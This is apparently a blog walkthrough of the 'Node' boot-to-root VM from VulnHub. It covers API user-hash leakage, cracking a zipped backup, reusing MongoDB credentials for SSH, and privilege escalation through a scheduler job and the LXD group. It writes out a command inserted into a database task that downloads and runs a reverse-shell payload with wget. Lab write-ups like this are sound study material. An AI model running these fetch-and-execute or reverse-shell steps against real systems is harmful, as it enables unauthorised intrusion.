‘Node’ Boot to Root VM Walkthrough


Today we’re going to be looking at the Node VM created by @iamrastating and hosted with love by vulnhub.com.

This was my first (I think?) NodeJS application assessment and I was VERY EXCITED.

Let’s get to it!

Host Identification and Port Mapping

As always we use netdiscover to establish the IP of the box – it is then.

Next up we port scan the box, as always –

Small attack surface, only SSH running and a Node.JS application which is running with the Express routing library. Let’s go and take a look at port 3000 in our web browser!

Manually Enumerating the Web Application

So the website looks like this when opened in our browser –

Pretty looking site actually, normally Boot 2 Root sites are a bit… old skool with their styling!

Probing around a bit here didn’t yield many results, and all attempts to bruteforce the login were fruitless. At this point I started thinking about how Angular, Node and Express apps are structured. They normally have a series of Javascript controllers on the front end, which communicate with a series of RESTful API endpoints created using the Express router – which means that we should be able to see very quickly which API calls available to us by looking in the controller files.

Looking in Chrome’s developer console we quickly find this little nugget –

So it looks like we can call $website/api/users/$username to get some user details. Let’s do that now!

  # curl                                                                                                                                                             !331

Uh oh… That’s a password hash.. Why’s that there..??

Now you might be thinking “let’s bruteforce the other users!” (that’s what I thought!) but we can actually rely on a bit of intuition here and simply request “/api/users/” instead to get ALL users (and password hashes…) back –

root@kali ~
# curl

Much better! And there’s even a sneaky hidden admin account 😀 The ‘hashid’ tool correctly identifies these hashes as SHA256, so let’s plug those hashes into Crackstation and see what’s occurring.

Hash Type Result
dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af sha256 manchester
f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240 sha256 spongebob
de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73 sha256 snowflake
5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0 Unknown Not found.

Result, we got the only hash which matters, the admin’s hash.

Admin Logon

Upon logging in as myP14ceAdm1nAcc0uNT with password “manchester” we see…

Which points to /api/admin/backup!

Clicking the button yields a 3.5MB lump of what’s clearly base64, running “base64 -d mysite.backup > mysite.unbased” yields a binary file.. Using the linux “file” command we establish that it’s a ZIP file –

root@kali ~/Downloads
  # file myplace.unbased                                                                                                                                                                                      !339
myplace.unbased: Zip archive data, at least v1.0 to extract

Which we subsequently unzip to get the treats from within. Or rather, we would if it wasn’t password protected. Bah!

So we bust out our handy “fcrackzip” tool and kick it off!

Bingo, “magicword” does the trick! So now we can enumerate the treats within this ZIP file.

The majority of the backup is the “node_modules” directory which all Node apps come with, along with all of the client side code and most importantly the server side Node app!

Inside the Node app there are two things of interest –

  • MASSIVE trollface gets returned if you use Dirb etc. as your user agent (I lol’d)
  • The credentials to login to Mongo!
const express     = require('express');
const session     = require('express-session');
const bodyParser  = require('body-parser');
const crypto      = require('crypto');
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const path        = require("path");
const spawn        = require('child_process').spawn;
const app         = express();
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

Let’s see if those credentials work for SSH….

Yes. Yes they do.

Privilege Escalation

So upon SSHing in as Mark, we land in a very restrictive read-only home directory. There’s nothing of interest in this home directory, and the other directories (Tom and Frank) are either empty or have nothing of interest in them.

Now, running the usual gamut of tools to find out how to get privesc, we notice this little nugget –

mark@node:~$ ps aux | grep -i schedule
tom       1153  0.0  6.0 1009080 45492 ?       Ssl  Aug19   0:06 /usr/bin/node /var/scheduler/app.js

Catting that file yields this –

const exec        = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';

MongoClient.connect(url, function(error, db) {
  if (error || !db) {
    console.log('[!] Failed to connect to mongodb');

  setInterval(function () {
    db.collection('tasks').find().toArray(function (error, docs) {
      if (!error && docs) {
        docs.forEach(function (doc) {
          if (doc) {
            console.log('Executing task ' + doc._id + '...');
            db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
      else if (error) {
        console.log('Something went wrong: ' + error);
  }, 30000);


Very interesting. If we manage to get a document into the “scheduler” collection with a “cmd” field of.. “cd /tmp; wget $ip/reverseShell; ./reverseShell” then we’ll get a reverseShell as Tom when this code fires! Cool, huh?

Thankfully this script gives us the Mongo credentials so we can go ahead and do that right meow.

mark@node:~$ mongo -u mark -p 5AYRft73VtFpc84k scheduler
MongoDB shell version: 3.2.16
connecting to: scheduler
> db.tasks.insertOne({cmd:"cd /tmp; wget; chmod +x shell2; ./shell2;"})
	"acknowledged" : true,
	"insertedId" : ObjectId("5b7a07048fd4b025c5cb51f1")
> db.tasks.find()
{ "_id" : ObjectId("5b7a07048fd4b025c5cb51f1"), "cmd" : "cd /tmp; wget; chmod +x shell2; ./shell2;" }

And now we wait!

We got a shell as Tom! Awesome! Now let’s see what havoc we can cause.

First things first, we cat a file named “user.txt” in his home directory to get the first flag – e1156acc3574e04b06908ecf76be91b1 

Now we start the usual process of system enumeration.

unix-privesc-check yielded nothing of interest, but LinEnum spat out this line “[+] We’re a member of the (lxd) group – could possibly misuse these rights!” which led to to finding this excellent post which details how to get Priv Esc with LXD 😀

So the steps to go from Tom to root are –

  • Download some images on my attacker machine (because I do not want to connect the vulnerable machine to the internet)
  • wget the images to the victim machine
  • run the commands outlined here
  • run the commands outlined in the excellent post mentioned above
  • ????
  • root

So first up we grab the images on the attacker VM –

Then we pull them onto Tom’s machine and start up an LXC container –

And then we root the box –


Phew! That was a hard one!

I learned a tonne from this box, honestly, and had an absolute blast. First Node app pentest and first ever LXC privesc. Such a cool technique!

Many thanks to @iamrastating, you did a great job on this box 🙂

Add a Comment

Your email address will not be published. Required fields are marked *

I accept that my given data and my IP address is sent to a server in the USA only for the purpose of spam prevention through the Akismet program.More information on Akismet and GDPR.